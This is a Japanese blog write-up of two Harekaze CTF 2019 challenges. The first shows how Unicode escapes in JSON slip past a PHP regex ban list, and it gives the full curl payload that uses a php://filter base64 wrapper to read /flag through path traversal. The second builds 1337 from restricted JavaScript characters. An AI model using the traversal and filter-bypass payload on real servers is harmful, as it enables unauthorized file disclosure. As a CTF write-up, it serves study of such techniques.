Harekaze CTF 2019 Write-up (Encode & Encode, [a-z().])

2019/05/18 ~ 2019/05/19に行われたオンラインCTF (https://ctf.harekaze.com/) のWrite-up。

Encode & Encode

スコアサーバの問題に添付されているDockerFileをみると、ファイルシステムの/flagにフラグが用意されていることがわかる。

与えられたソースコード (http://problem.harekaze.com:10001/query.php?source) を見る。

$body = file_get_contents('php://input');
$json = json_decode($body, true);
[..]
$page = $json['page'];
$content = file_get_contents($page);

このページはPOSTされたjsonを読み取り、たとえば{"page": "about.html"}を受け取るとabout.htmlの中身を返すようになっている。

しかし、以下のソースより、パストラバーサル・ストリームラッパー・flagの文字列のいずれも挿入することができなくなっている。

$banword = [
  // no path traversal
  '\.\.',
  // no stream wrapper
  '(php|file|glob|data|tp|zip|zlib|phar):',
  // no data exfiltration
  'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';

ここで、実際にバリデーション (is_valid()) を呼び出している部分を見てみる。

if (is_valid($body) && isset($json) && isset($json['page']))

あくまでjson変換前の$bodyに対してバリデーションをかけ、jsonデコード後の連想配列にはバリデーションをかけていない。
JSONのRFCによると、\u0000形式のユニコードエスケープが可能であるため、これを使用することを目標にする。

ほしいのは/flagであり、DockerFileからサーバのroot directoryは/var/www/htmlであることがわかるので、以下のJSONを送れば良い。

{"page": ".\u002e/.\u002e/.\u002e/fl\u0061g"}

これで、この文字列にバリデーションをかけても検知されないまま"../../../flag"を記述できる。

また、ソースの最後に以下のコードがある。

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);

せっかく/flagの中身を取得できても、結局ここの文字列置換で持ち出せないように対策されている。
これをかいくぐるためにbase64のストルームラッパーを用いる。
使い方は以前このブログで公開したので是非参考にしてほしい。

php://filter/read=convert.base64-encode/resource=../../../flag

このURIが組めればbase64に変換された状態で持ち出せるので、あとはバリデーションに引っかかるところだけUnicode変換すれば良い。(Unicodeデコードのスクリプトもこのブログにある!すごい!)

最終的にこのコマンドを叩けばFlagが落ちてくる。

curl -H "Content-Type: application/json" -d '{"page": "ph\u0070://filter/read=convert.base64-encode/resource=.\u002e/.\u002e/.\u002e/fl\u0061g"}' http://problem.harekaze.com:10001/query.php

[a-z().]

続いての問題は、問題名の通り[a-z().]の29文字だけで構成された200文字未満のJavaScriptを評価して1337を返すようにするもの。

実行環境はNode.jsだが、ソースコードを読むと、submitされたコードはvm.runInNewContext()で実行されるため、Node.jsに標準で用意されているmoduleなどを使用することはできない。

プレーンなJavaScript環境で使用できるのが確認できた変数やリテラルは以下の8つだった。

[true, false, console, null, undefined, eval, this, global]

他にわかったのは、eval.lengthで1を生成できることや、eval.name"eval"というStringを生成できること。
この辺りはひたすらMDNとNodeのREPLのタブ補完とのにらめっこだった。

Stringが使える、String.prototype.split()で配列が得られることが分かったあたりで方針が定まり、以下のコードを実現する作戦に出た。

eval([].concat(1).concat(3).concat(3).concat(7).join(""))

まずは空文字(“”)と空配列([])を得る方法だが、それぞれ以下のようになる。

eval.name.substr(eval.name.length)           // => ""
eval.name.substr(eval.name.length).split()   // => ['']

厳密には空配列ではないが、要はjoin("")した時に余計なものが出なければいいので問題ない。

続いて1,3,7の数字を探す。
1は関数の引数の数、3と7は関数名の長さから得ている。

eval.length                     // => 1
eval.name.sub.name.length       // => 3
eval.name.replace.name.length   // => 7

出来上がったスクリプトは次のようになる。

eval(eval.name.substr(eval.name.length).split().concat(eval.length).concat(eval.name.sub.name.length).concat(eval.name.sub.name.length).concat(eval.name.replace.name.length).join(eval.name.substr(eval.name.length)))

ところがこれは200文字制限に抵触してしまう。

考えた結果、[].concat(1).concat(3).concat(37)となる以下のスクリプトに切り替えた。

eval(eval.name.substr(eval.name.length).split().concat(eval.length).concat(eval.name.sub.name.length).concat(eval.name.sub().sub().sub().length).join(eval.name.substr(eval.name.length)))

string.prototype.sub()"text"に対して"<sub>text</sub>"を返すようなメソッドである。
"eval"sub()を3回実行することでちょうど37文字の文字列を得られることが分かった。

上記スクリプトをsubmitすることでflagが獲得できる。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です